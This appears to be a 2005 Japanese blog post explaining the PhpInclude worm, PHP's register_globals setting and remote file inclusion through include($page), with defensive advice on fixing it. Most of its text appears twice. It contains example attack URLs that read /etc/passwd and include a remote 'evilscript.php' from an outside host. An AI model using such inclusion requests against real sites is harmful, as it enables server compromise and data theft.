PHP:プログラムミスを突くセキュリティ・ホール、include()やrequire()を使う際の注意点とregister_globalsの設定
PHP (55 items)
2005年01月13日
去年、と言っても3週間ほど前なだけですが、
PHPについて気になる記事がありました。
ああ、これってPHPの脆弱性の話?と思った人。。
それは違います。
・・・。
プログラム・ミスを突く??
そうなんです。
こいつは、PHPの持っている機能を悪用、
というか、気をつけてコーディングしないと、
「あなたのサイト、エライ目に遭いますよ!」という警告なのです。
で、どんな事かと見てみた。。
PHPについて気になる記事がありました。
PHPを狙う新たなワームが出現,Webページのプログラム・ミスを突く
米SANS Instituteなどは12月26日,アプリケーション開発言語PHPのインタプリタ「PHP 4/5」を利用しているWebサーバーに感染するワーム「PhpInclude.Worm(Santy.e)」を警告した。
ああ、これってPHPの脆弱性の話?と思った人。。
それは違います。
PhpInclude.Wormは,Webページのプログラム・ミスを突いてサーバーに侵入するワームであり,PHPやphpBBのセキュリティ・ホールを突くものではない。このため,PHPを利用するすべてのWebサーバーが影響を受ける可能性がある。PHPを利用するWebサーバーの管理者は改めてチェックしたい。・・(中略)具体的には,PHPの関数「Include()」や「Require()」を不適切に使うことで発生する問題(セキュリティ・ホール)「File Inclusion Flaw」を悪用する。このプログラム・ミス(セキュリティ・ホール)はPHPを使っているWebページの多くに存在するという。PHPを使っているWebサイトの管理者(開発者)は改めて確認してほしい。
・・・。
プログラム・ミスを突く??
そうなんです。
こいつは、PHPの持っている機能を悪用、
というか、気をつけてコーディングしないと、
「あなたのサイト、エライ目に遭いますよ!」という警告なのです。
で、どんな事かと見てみた。。
以下に、その内容が書かれています。
英語ですが、私も何となく理解といった感じで読みました。
>PHP Security Mistakes( Page 1 of 4 )
>PHP Security Mistakes - Tips 2, 3 ( Page 2 of 4 )
この内容を簡単にまとめると、
(1)register_globalsの設定は気をつけて(onに設定しない方がいい)
(2)includeを使用する際、その引数に変数を使用する場合は気をつけて
といった事になるかと思います。
※他にもありますが、今回はこの問題に特化
まず、この問題の一番の元凶は(1)ですね。
register_globalsについては下記を参照してみて下さい。。
>PHPの外部から来る変数
>はてなダイアリー - register_globals
つまり、register_globalsをonに設定すると、
画面(HTML)上の項目(input)の値が、”$_GET”や”$_POST”を使用しなくても、
”$inputのname名”の変数として書く事で取得できるという事です。
一見すれば便利な機能の様に思えますが、
これを悪用するのが今回の問題にあたります。
例えば仮に、
といった形でリクエストした場合、
test.php内で、変数$usercdから別の変数に値をセットしている様な記述があると、
”admin”という値が渡される事になります。
まあ、厳密にはこのtest.php内の変数”$usercd”を、
”admin”という値で初期化する事になるので、
test.php内の初期処理で、変数”$usercd”を初期化していれば、
変な値が入る事はない($usercdが左辺に来る処理であれば大丈夫)ですが、
変数”$usercd”が、画面のリクエストからくる値を想定($usercdが右辺に来る処理)
していれば、変な処理を行う可能性が高いという事になります。
で、これに乗じて本当に恐いのは、(2)になります。
のように、includeの引数に変数$pageを使用しているような場合、
これは上の変数”$usercd”の例以上に恐ろしい事になります。
何でかって、include関数は便利だと私も思っていますが、
その引数に指定したファイルが、まんま処理されるからです。。
のように、ファイルの内容を見られる事にもなりますし、
これなんか、非常に立ちが悪い。。
”http://mysite.com/evilscript.php”が、すんごい破壊的なプログラムであれば、
サイトはたちまち壊されますね。。
回避策としては、上の英語サイトでは
変数$pageの内容をチェックしてからincludeするようにとしてますが、
そもそもincludeする値を外から貰うようなコーディングがよくないので、
includeの引数には、変数でなく固定値(例:include('common.php');)にする方が、
無難かと思われます。。
こうなったら念の為、
まず自分のサーバーのregister_globalsの設定を知る必要がありますな。
<関連記事>
>PHP:各レンタルサーバーのPHP動作環境を調べるには
結構、この設定をonにしているレンタルサーバーも少なくありません。
しかしレンタルしていれば、この設定を自ら変える事はできないので、
後は、そこで動いているphpプログラムに掛かってきます。。
ブログブームに伴い、数々ブログツール、CMSがリリースされてますが、
これら全てが大丈夫かというのも疑問ですね。。
しかも、オープンソースという事で大っぴらにソース出回ってますし、
簡単にこのセキュリティ・ホールを見つける事もできます。。。
更に、各サイトがどんなツールを使っているかと言うのも、
特にブログサイトでは、”Powered By 〜”って感じで、
「このツール使ってますよ」ってさらけ出してますし。。。。
・・・何か、この記事書いてて自分でも恐くなってきたんで、
ここらで止めときます。
しかし、自分自身でphpプログラムを作った場合は、
その辺を注意して作るというのが基本、
で、ブログツールで怪しい部分を見つけたら、
ブログツール自体を直すのはちょっと中々できないですし、
っていうか、製造元に連絡した方がいいんでしょうね。。。
英語ですが、私も何となく理解といった感じで読みました。
>PHP Security Mistakes( Page 1 of 4 )
>PHP Security Mistakes - Tips 2, 3 ( Page 2 of 4 )
この内容を簡単にまとめると、
(1)register_globalsの設定は気をつけて(onに設定しない方がいい)
(2)includeを使用する際、その引数に変数を使用する場合は気をつけて
といった事になるかと思います。
※他にもありますが、今回はこの問題に特化
まず、この問題の一番の元凶は(1)ですね。
register_globalsについては下記を参照してみて下さい。。
>PHPの外部から来る変数
>はてなダイアリー - register_globals
つまり、register_globalsをonに設定すると、
画面(HTML)上の項目(input)の値が、”$_GET”や”$_POST”を使用しなくても、
”$inputのname名”の変数として書く事で取得できるという事です。
一見すれば便利な機能の様に思えますが、
これを悪用するのが今回の問題にあたります。
例えば仮に、
http://www.〜.com/test.php?usercd=admin
といった形でリクエストした場合、
test.php内で、変数$usercdから別の変数に値をセットしている様な記述があると、
”admin”という値が渡される事になります。
まあ、厳密にはこのtest.php内の変数”$usercd”を、
”admin”という値で初期化する事になるので、
test.php内の初期処理で、変数”$usercd”を初期化していれば、
変な値が入る事はない($usercdが左辺に来る処理であれば大丈夫)ですが、
変数”$usercd”が、画面のリクエストからくる値を想定($usercdが右辺に来る処理)
していれば、変な処理を行う可能性が高いという事になります。
で、これに乗じて本当に恐いのは、(2)になります。
include($page);
のように、includeの引数に変数$pageを使用しているような場合、
これは上の変数”$usercd”の例以上に恐ろしい事になります。
何でかって、include関数は便利だと私も思っていますが、
その引数に指定したファイルが、まんま処理されるからです。。
script.php?page=/etc/passwd
のように、ファイルの内容を見られる事にもなりますし、
script.php?page=http://mysite.com/evilscript.php
これなんか、非常に立ちが悪い。。
”http://mysite.com/evilscript.php”が、すんごい破壊的なプログラムであれば、
サイトはたちまち壊されますね。。
回避策としては、上の英語サイトでは
変数$pageの内容をチェックしてからincludeするようにとしてますが、
そもそもincludeする値を外から貰うようなコーディングがよくないので、
includeの引数には、変数でなく固定値(例:include('common.php');)にする方が、
無難かと思われます。。
こうなったら念の為、
まず自分のサーバーのregister_globalsの設定を知る必要がありますな。
<関連記事>
>PHP:各レンタルサーバーのPHP動作環境を調べるには
結構、この設定をonにしているレンタルサーバーも少なくありません。
しかしレンタルしていれば、この設定を自ら変える事はできないので、
後は、そこで動いているphpプログラムに掛かってきます。。
ブログブームに伴い、数々ブログツール、CMSがリリースされてますが、
これら全てが大丈夫かというのも疑問ですね。。
しかも、オープンソースという事で大っぴらにソース出回ってますし、
簡単にこのセキュリティ・ホールを見つける事もできます。。。
更に、各サイトがどんなツールを使っているかと言うのも、
特にブログサイトでは、”Powered By 〜”って感じで、
「このツール使ってますよ」ってさらけ出してますし。。。。
・・・何か、この記事書いてて自分でも恐くなってきたんで、
ここらで止めときます。
しかし、自分自身でphpプログラムを作った場合は、
その辺を注意して作るというのが基本、
で、ブログツールで怪しい部分を見つけたら、
ブログツール自体を直すのはちょっと中々できないですし、
っていうか、製造元に連絡した方がいいんでしょうね。。。
前の記事 次の記事